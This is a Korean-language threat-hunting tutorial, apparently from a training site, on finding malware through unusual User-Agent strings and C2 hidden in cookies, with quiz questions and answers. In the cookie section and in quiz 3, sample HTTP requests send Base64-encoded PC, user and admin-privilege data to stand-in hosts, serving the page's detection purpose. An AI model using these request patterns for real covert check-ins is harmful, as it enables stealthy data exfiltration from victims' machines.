User-Agent와 쿠키로 악성코드 찾기¶
이 페이지에서 다루는 것
악성코드가 User-Agent 때문에 들키는 이유(만든 날 정한 값이 고정되기 때문), User-Agent를 칸별로 분해하는 법과 분해 도구, 회사 전체 User-Agent를 세어서 드문 것을 찾는 빈도 분석, 시간이 지나며 드러나는 버전 노화, 그리고 로그에 잘 안 남는 쿠키 칸에 숨은 C2와 그걸 가려내는 법(공급망 공격 사례 포함). 마지막에 확인 문제와 해설이 있습니다.
표기
[보충] = 꼭 알아야 할 실무 보충, [변경됨]/[주의] = 최근 바뀐 점과 옛 방식대로 하면 위험한 점. User-Agent와 Cookie 헤더의 기본 뜻은 요청 헤더 페이지에 있습니다.
한눈에 보는 핵심 8가지¶
- User-Agent는 선택 항목이고 자기 신고다. 그래도 악성코드를 잡는 데 자주 쓸모 있다.
- 많은 악성코드는 User-Agent를 아예 위장하지 않거나, 우리 환경에 맞지 않는 값(리눅스, 금지된 브라우저)을 쓴다.
- 정상 브라우저처럼 위장해도 만들 때 박아 둔 버전이 고정되어, 회사 PC들이 업데이트될수록 점점 튀어 보인다.
- 회사 전체 User-Agent를 세어 보면(빈도 분석) 드문 값이 헌팅의 출발점이 된다.
- 브라우저 User-Agent는 거의 항상
Mozilla/5.0으로 시작한다.Mozilla/4.0이나 다른 시작은 아주 오래된 브라우저이거나 브라우저가 아닌 프로그램이다. - 쿠키는 민감 정보라 대부분의 로그에 남지 않는다. 그래서 공격자에게 좋은 숨을 곳이다.
- 쿠키 악용 신호: Base64로 풀리는 기기 정보, 요청마다 바뀌는 이름·값, 서버가 준 적 없는 쿠키를 처음부터 들고 오는 요청, 평소 없던 쿠키 항목 추가.
- 공급망 공격에서는 도메인·URL·User-Agent가 모두 정상이고, 쿠키 한 칸만 이상할 수 있다.
User-Agent로 악성코드가 들키는 이유¶
왜 필요한가. 악성코드를 만드는 사람은 프로그램을 만들 때(컴파일할 때) 통신에 쓸 User-Agent를 정해 둬야 합니다. 이 선택이 결국 약점이 됩니다.
- 아예 신경 쓰지 않는 경우. 많은 악성코드가
python-requests/2.x,Go-http-client/1.1같은 기본값이나 엉터리 값을 그대로 씁니다. SIEM에서 쉽게 찾아 감염 PC를 특정할 수 있습니다. - 우리 환경에 안 맞는 경우. 윈도우만 쓰는 회사에서 리눅스라고 말하거나, 회사 정책상 설치되지 않은 파이어폭스라고 말하면 바로 튑니다.
- 정상처럼 위장했지만 고정된 경우. "Chrome 95" 같은 정상 값을 박아 두면 처음엔 숨을 수 있습니다. 하지만 진짜 크롬은 약 4주마다 새 버전이 나오고 회사 PC는 자동 업데이트됩니다. 시간이 지날수록 그 PC 하나만 이상하게 오래 업데이트를 안 한 사용자처럼 보이게 됩니다.
User-Agent는 선택 항목이고 자기 신고일 뿐이라 이것만으로 확정할 수는 없습니다(요청 헤더 주의). 하지만 조사를 시작할 단서로는 아주 좋습니다.
User-Agent 칸별 분해¶
윈도우 파이어폭스의 User-Agent를 칸별로 나눠 보겠습니다.
| 칸 | 값 | 뜻 |
|---|---|---|
| 역사적 접두어 | Mozilla/5.0 |
거의 모든 브라우저가 쓰는 시작. 다른 값이면 오래된·비표준 브라우저이거나 브라우저가 아닌 프로그램 |
| 플랫폼 | Windows NT 10.0; Win64; x64 |
윈도우 10/11, 64비트 브라우저. WOW64면 64비트 윈도우의 32비트 브라우저 |
| 엔진 버전 | rv:144.0 |
화면 엔진(Gecko) 버전 |
| 엔진 이름 | Gecko/20100101 |
파이어폭스의 Gecko 엔진. 날짜 모양 숫자는 고정값이라 보통 쓸모없음 |
| 브라우저 | Firefox/144.0 |
실제 브라우저와 버전 |
다른 브라우저는 마지막 칸이 헷갈립니다.
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Mobile/15E148 Safari/604.1
- 1줄 크롬:
Safari까지 붙어 있지만 정체는Chrome/144. 엔진 칸은AppleWebKit - 2줄 엣지: 크롬과 같은 모양에 끝에
Edg/가 붙음 → 마지막의Edg가 정체 - 3줄 맥의 사파리:
Version/18.4 Safari.Chrome이 없으면 사파리 - 4줄 아이폰 사파리:
iPhone,Mobile이 붙음
[보충] Mozilla/5.0 규칙. 크롬·파이어폭스는 처음부터, 마이크로소프트는 IE9 이후 모든 IE와 엣지가 Mozilla/5.0을 씁니다. 그래서 Mozilla/4.0 (compatible; MSIE ...)는 IE8 이하의 아주 오래된 브라우저이거나, 그걸 어설프게 흉내 낸 악성코드입니다. Mozilla로 시작하지 않으면 브라우저가 아닌 프로그램(업데이트 도구, 스크립트, 라이브러리)입니다. 브라우저가 아니라고 다 나쁜 건 아니지만, 어떤 프로그램인지 설명할 수 있어야 합니다.
분해 도구. 헷갈리는 문자열은 User-Agent 분해 사이트(useragentstring.com 등)에 붙여 넣거나, 오픈소스 파서(ua-parser 계열 라이브러리)로 "브라우저·버전·OS·기기"로 나눠 볼 수 있습니다. SIEM 대부분도 이런 파서를 내장해 User-Agent를 칸별 필드로 나눠 줍니다.
빈도 분석: 드문 User-Agent 찾기¶
무엇인가. 회사 전체에서 쓰인 User-Agent를 종류별로 세어 정렬하는 것입니다. 정상 User-Agent는 많은 PC가 같은 값을 쓰므로 위쪽에 큰 숫자로 모이고, 감염 PC 한두 대가 쓰는 이상한 값은 맨 아래 꼬리(롱테일, Long Tail)에 작은 숫자로 남습니다. 헌팅(Threat Hunting)의 좋은 출발점입니다.
Zeek http.log로 직접 세어 보면 이렇습니다.
$ cat http.log | zeek-cut user_agent | sort | uniq -c | sort -n | head -5
1 Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0
2 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/118.0.0.0 Safari/537.36
41 curl/8.9.1
188 Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.18129; Pro)
cat http.log— 로그 파일 내용을 출력zeek-cut user_agent— Zeek 로그에서user_agent칸만 잘라냄sort— 같은 값끼리 붙도록 정렬(uniq는 붙어 있는 같은 줄만 셈)uniq -c— 같은 값이 몇 번 나왔는지 앞에 숫자를 붙여 하나로 합침sort -n— 숫자 기준으로 작은 것부터 정렬head -5— 맨 위 5줄(= 가장 드문 5개)만 보여 줌
결과 읽기:
- 1번: 윈도우만 쓰는 회사에 리눅스 파이어폭스 115 → 누가 무엇으로 보냈는지 확인
- 2번: IE7 + 윈도우 비스타(
NT 6.0) → 2026년에 있을 수 없음. 악성코드의 흉내 값일 가능성 큼 - 3번: 크롬 118 → 회사 크롬은 훨씬 새 버전일 것. 아래 "버전 노화" 의심
- 4번:
curl41회 → 개발자·관리 스크립트일 수 있음. 어떤 PC에서 어디로 갔는지 확인 - 5번: Outlook 188회 → 정상 업무 프로그램
[보충] 횟수보다 "몇 대의 PC가 쓰는가". 요청 횟수만 보면, 비콘처럼 자주 통신하는 악성코드는 횟수가 커서 꼬리에 안 보일 수 있습니다. 그래서 그 User-Agent를 쓰는 PC(출발지 IP) 수도 함께 셉니다. "요청은 9,000번인데 PC는 딱 1대"라면 확인할 가치가 있습니다. 반대로 Microsoft-CryptoAPI/10.0(윈도우가 인증서 폐기 여부를 확인할 때 쓰는 정상 구성 요소)처럼 브라우저가 아니지만 정상인 값도 많으니, 처음 보는 값은 이름을 검색해 정체를 확인합니다.
버전 노화: 시간이 지나면 튄다¶
정상 브라우저 User-Agent를 흉내 낸 악성코드라도, 버전이 고정돼 있으면 시간이 지나며 드러납니다. 크롬과 엣지는 약 4주마다 새 주 버전이 나옵니다.
Month Fleet's most common Chrome PC FIN-PC07's Chrome
2025-01 Chrome/132.0.0.0 Chrome/118.0.0.0
2025-07 Chrome/138.0.0.0 Chrome/118.0.0.0
2026-01 Chrome/144.0.0.0 Chrome/118.0.0.0
회사 PC 대부분은 자동 업데이트로 버전이 계속 올라가는데, FIN-PC07의 특정 통신만 몇 년째 Chrome/118에 멈춰 있습니다. 가능성은 두 가지입니다.
- 업데이트가 고장 난 진짜 크롬 — 이것도 보안 문제(패치 안 된 브라우저)라 조치 대상
- 크롬 User-Agent를 박아 둔 프로그램(악성코드) — 같은 PC의 진짜 크롬 탭들은 최신 버전으로 통신하는데 특정 목적지로만 옛 버전이 간다면 거의 확실
같은 PC 안에서 User-Agent가 두 갈래로 갈라지는지를 보면 둘을 구분할 수 있습니다.
쿠키에 숨은 C2¶
왜 쿠키인가¶
쿠키에는 로그인 세션 같은 민감한 값이 들어 있어서, 대부분의 프록시·웹 서버 로그는 쿠키를 기록하지 않습니다(Zeek http.log도 기본 칸에 쿠키가 없습니다). 즉 쿠키 칸에 숨긴 데이터는 누군가 일부러 꺼내 보기 전에는 눈에 띄지 않습니다. 공격자에게 아주 좋은 숨을 곳입니다.
사례 1: Base64로 기기 정보를 싣는 C2¶
2017년 일본의 표적 공격에 쓰인 ChChes 같은 악성코드는 감염 PC 정보를 Base64로 인코딩해 쿠키에 싣고 C2 명령을 주고받았습니다. 비슷한 모양의 예를 보겠습니다.
GET /Rk7pZ2/aQ9xL.htm HTTP/1.1
Cookie: k3Wq=cGM9RklOLVBDMDcmdT1qc21pdGgmYWRtPTE%3D; Zt=aWQ9NDQ3MTtvcz0xMC4wLjIyNjMx
Accept: */*
Host: news-update-cdn.example
- 경로
/Rk7pZ2/aQ9xL.htm— 무작위 이름의.htm - 쿠키 이름
k3Wq,Zt— 의미 없는 무작위 이름 - 첫 값의
%3D는 URL 인코딩된=. 풀면cGM9RklOLVBDMDcmdT1qc21pdGgmYWRtPTE=→ Base64를 풀면pc=FIN-PC07&u=jsmith&adm=1(PC 이름, 사용자, 관리자 권한 여부) - 둘째 값 →
id=4471;os=10.0.22631(감염 번호, 윈도우 빌드) Accept: */*하나뿐이고 User-Agent·Accept-Language가 없음 → 브라우저가 아닌 프로그램
사례 2: 공급망 공격 — 쿠키 한 칸만 달랐다¶
2017년 전 세계 기업을 마비시킨 NotPetya는, 우크라이나의 회계 소프트웨어(M.E.Doc) 업데이트 서버가 해킹당해 정상 업데이트에 끼워 배포됐습니다. 그 전부터 심겨 있던 백도어는 정상 업데이트 확인 통신을 그대로 쓰면서, 쿠키에 원래 있어야 할 값 외에 몇 가지를 더 실어 보냈습니다. 예를 들어 "이 PC에서 관리자 권한으로 돌고 있다"는 정보입니다.
이 경우 분석가 입장에서 보이는 모든 것이 정상입니다.
| 칸 | 상태 |
|---|---|
| 도메인 | 회사가 실제로 쓰는 소프트웨어 회사의 진짜 업데이트 서버 |
| URL | 평소와 같은 업데이트 확인 주소 |
| User-Agent | 그 소프트웨어의 진짜 값 |
| 주기 | 평소 업데이트 확인 주기 |
| 쿠키 | 평소보다 항목이 하나 더 있음 |
이런 수법은 정말 찾기 어렵습니다. 그래서 공격자가 C2로 파괴형 악성코드를 내려보낸 날까지 아무도 몰랐습니다. 이 사례가 주는 교훈은 "평소 모습(기준선)"을 알아야 한다는 것입니다. 회사가 쓰는 주요 소프트웨어의 정상 통신(쿠키 이름 목록, 크기)을 알고 있어야 항목 하나가 늘어난 걸 알아챌 수 있습니다.
쿠키 악용 판별 체크리스트¶
| 신호 | 왜 수상한가 |
|---|---|
| 값이 Base64로 풀리고 기기·사용자 정보가 나옴 | 정상 세션 쿠키는 보통 의미 없는 무작위 ID |
| 쿠키 이름이 요청마다 바뀜 | 정상 사이트는 같은 이름(sessionid 등)을 계속 씀 |
| 세션 쿠키 값이 요청마다 통째로 바뀜 | 로그인 세션은 한동안 같은 값 유지 |
서버가 Set-Cookie로 준 적 없는데 첫 요청부터 쿠키를 들고 옴 |
브라우저는 받은 쿠키만 돌려줌. 처음 가는 도메인에 쿠키가 있다면 프로그램이 직접 만든 것 |
| 알려진 소프트웨어 통신에 평소 없던 쿠키 항목 추가 | 공급망 공격·변조 의심 |
| 쿠키가 지나치게 길거나 크기가 매번 크게 달라짐 | 데이터를 실어 나르는 중일 수 있음 |
넷째 신호가 특히 강력합니다. 브라우저는 그 사이트가 예전에 Set-Cookie로 준 쿠키만 돌려보냅니다. 따라서 처음 접속하는 도메인에 보내는 요청에 이미 쿠키가 들어 있다면, 브라우저가 아니라 프로그램이 쿠키 칸을 직접 채운 것입니다.
[보충] 쿠키를 보려면 따로 준비해야 합니다. 쿠키는 기본적으로 로그에 없으니, 필요할 때 볼 방법을 미리 마련해 둡니다. 풀 패킷 캡처(해독 가능할 때), TLS 검사 프록시의 상세 기록, Zeek 스크립트로 특정 헤더를 추가 기록하는 방법 등이 있습니다. 다만 쿠키에는 진짜 로그인 세션이 들어 있으므로, 기록한다면 접근 권한을 엄격히 하고 보관 기간을 짧게 둡니다. 쿠키 로그가 유출되면 그 자체가 세션 하이재킹 재료가 됩니다.
2026년 관점¶
[2026 현재] 그대로 유효한 것
"만든 날 정한 User-Agent는 결국 튄다", "빈도 분석으로 드문 값 찾기", "쿠키는 로그에 없어서 숨기 좋다", "공급망 공격은 기준선과 비교해야 보인다"는 모두 그대로입니다.
[변경됨] 바뀐 것
- User-Agent에서 얻는 정보가 줄었습니다. 크롬·엣지는 User-Agent Reduction으로 세부 버전을
0.0.0으로, 윈도우 11도Windows NT 10.0으로 표시합니다. 사파리와 크롬은 맥 OS 버전도Mac OS X 10_15_7로 고정합니다. 그래서 "OS 버전이 맞나"는 User-Agent만으로 판단하기 어렵고, 자세한 값은 Client Hints(Sec-CH-UA-*헤더)나 엔드포인트 자산 정보로 확인합니다. - 주 버전 비교(버전 노화)는 여전히 통합니다. 주 버전 숫자(
Chrome/144)는 그대로 보내므로 고정된 옛 버전은 여전히 튑니다. - 정교한 C2는 User-Agent를 바꿀 수 있습니다. Cobalt Strike, Sliver 같은 프레임워크는 설정 파일로 User-Agent와 헤더를 마음대로 바꾸고, 감염 PC의 진짜 브라우저 값을 읽어 와 쓰기도 합니다. 이 경우 User-Agent 하나보다 헤더 순서 지문(JA4H)과 TLS 지문(JA4)이 더 쓸모 있습니다.
- 쿠키 탈취가 큰 위협이 되면서, 쿠키 칸은 "C2가 숨는 곳"이자 "공격자가 훔쳐 가는 것" 양쪽으로 중요해졌습니다(Cookie).
- 공급망 공격은 더 늘었습니다. NotPetya 이후에도 SolarWinds(2020), 3CX(2023) 등 정상 소프트웨어 업데이트를 통한 대형 사건이 이어졌고, 모두 "정상 도메인·정상 서명"이라는 공통점이 있었습니다.
[주의] 지금 그대로 하면 틀리거나 위험한 것
- "정상 User-Agent = 정상 프로그램"이 아닙니다. 흉내 내기 쉽고, 피해자의 진짜 브라우저가 악성 요청을 보낼 때도 있습니다.
- 브라우저가 아닌 User-Agent를 모두 악성으로 보지 않습니다. 윈도우 구성 요소, 업무 프로그램, 업데이트 도구가 많습니다. 처음 보는 값은 정체부터 확인합니다.
- 쿠키를 무작정 전부 기록하지 않습니다. 세션 하이재킹 재료가 쌓이는 것과 같습니다. 필요한 범위와 보관 기간을 정하고 접근을 통제합니다.
확인 문제¶
문제 1¶
윈도우 PC만 쓰는 회사에서 일주일치 User-Agent를 세었더니 아래 결과가 나왔습니다(형식: 요청 수 / 사용 PC 수 / User-Agent). 어떤 것을 먼저 조사하고, 어떤 것은 정상일 가능성이 높습니까?
812044 / 806 / Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/144.0.0.0 Safari/537.36
91233 / 805 / Microsoft-CryptoAPI/10.0
8640 / 1 / Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/118.0.0.0 Safari/537.36
12 / 1 / Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
5 / 1 / Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0
정답과 해설
정상일 가능성 높음:
- 1줄 — 회사 전체가 쓰는 최신 크롬
- 2줄 —
Microsoft-CryptoAPI는 윈도우가 인증서 폐기 목록 등을 확인할 때 쓰는 정상 구성 요소. 거의 모든 PC(805대)에서 나옴
먼저 조사:
- 3줄 — 요청은 8,640번(일주일 내내 하루 1,234번 정도)인데 PC는 1대, 버전은 회사보다 한참 오래된
Chrome/118. 요청 횟수 순으로만 보면 꼬리에 안 보이지만, PC 수로 보면 튑니다. 크롬 User-Agent를 박아 둔 비콘일 가능성이 큽니다. 같은 PC의 다른 통신이 최신 크롬으로 나가는지 비교하세요. - 4줄 — IE7 + 윈도우 비스타. 2026년 회사 PC에 있을 수 없는 값. 악성코드의 흉내일 가능성이 큽니다.
- 5줄 — 윈도우 전용 회사에 리눅스 파이어폭스. 개인 기기 연결, 개발용 VM, 또는 위장 값. 어떤 장비(IP)인지부터 확인합니다.
다음 단계로 각 출발지 IP의 PC를 찾아 Sysmon Event ID 3으로 어떤 프로세스가 그 연결을 만들었는지 확인합니다.
문제 2¶
FIN-PC07 한 대에서 같은 목적지로 가는 요청만 2년째 Chrome/118.0.0.0 User-Agent를 씁니다. 같은 PC의 다른 웹 요청은 모두 최신 Chrome/144.0.0.0입니다. 무엇을 의미합니까?
정답과 해설
같은 PC에서 User-Agent가 두 갈래로 갈라져 있습니다. 진짜 크롬은 최신 버전(144)으로 통신하고 있으니, 옛 버전(118)을 쓰는 쪽은 진짜 크롬이 아닌 다른 프로그램이 크롬인 척 박아 둔 값을 쓰는 것입니다. 2년째 그대로라는 건 그 프로그램이 만들어질 때 정한 값이 업데이트되지 않았다는 뜻으로, 악성코드의 전형적인 버전 노화 패턴입니다.
할 일: 그 목적지의 평판과 통신 주기·크기 확인 → Sysmon Event ID 3으로 연결을 만든 실행 파일 찾기 → 그 파일의 위치·서명·해시·지속성 장치 확인 → PC 격리 검토.
(만약 PC의 모든 크롬 통신이 118이라면 해석이 달라집니다. 업데이트가 고장 난 진짜 크롬일 수 있고, 그것도 패치가 안 된 보안 문제라 조치 대상입니다.)
문제 3¶
TLS 검사 프록시의 상세 기록에서 다음을 발견했습니다. 이 PC는 cdn-assets-sync.example에 오늘 처음 접속했고, 그 전에 이 도메인에서 Set-Cookie를 받은 기록이 없습니다.
GET /v/9Hk2.htm HTTP/1.1
Host: cdn-assets-sync.example
Cookie: Qm7=cGM9RklOLVBDMDcmdT1qc21pdGgmYWRtPTE%3D
Accept: */*
왜 수상하며, 쿠키 값은 무엇을 말합니까?
정답과 해설
수상한 이유: 브라우저는 그 사이트가 예전에 Set-Cookie로 준 쿠키만 돌려보냅니다. 처음 접속하는 도메인에, 받은 적도 없는 쿠키를 들고 가는 건 브라우저가 아니라 프로그램이 쿠키 칸을 직접 채운 것입니다. User-Agent도 없고 Accept: */*만 있다는 점도 브라우저가 아니라는 신호입니다.
쿠키 값: %3D를 =로 바꾸면 cGM9RklOLVBDMDcmdT1qc21pdGgmYWRtPTE=, Base64를 풀면 pc=FIN-PC07&u=jsmith&adm=1 — PC 이름, 사용자 이름, 관리자 권한으로 실행 중이라는 보고입니다. 쿠키 이름 Qm7도 의미 없는 무작위 이름입니다.
결론과 대응: 쿠키 칸을 쓰는 C2 체크인으로 보입니다. 관리자 권한이 있다는 건 공격자가 더 큰 일을 할 수 있다는 뜻이라 우선순위가 높습니다. PC 격리, 연결 프로세스 확인(Sysmon Event ID 3), 도메인 차단, 같은 도메인에 접속한 다른 PC 찾기, 그리고 jsmith 계정과 그 PC의 관리자 권한 사용 기록을 확인합니다.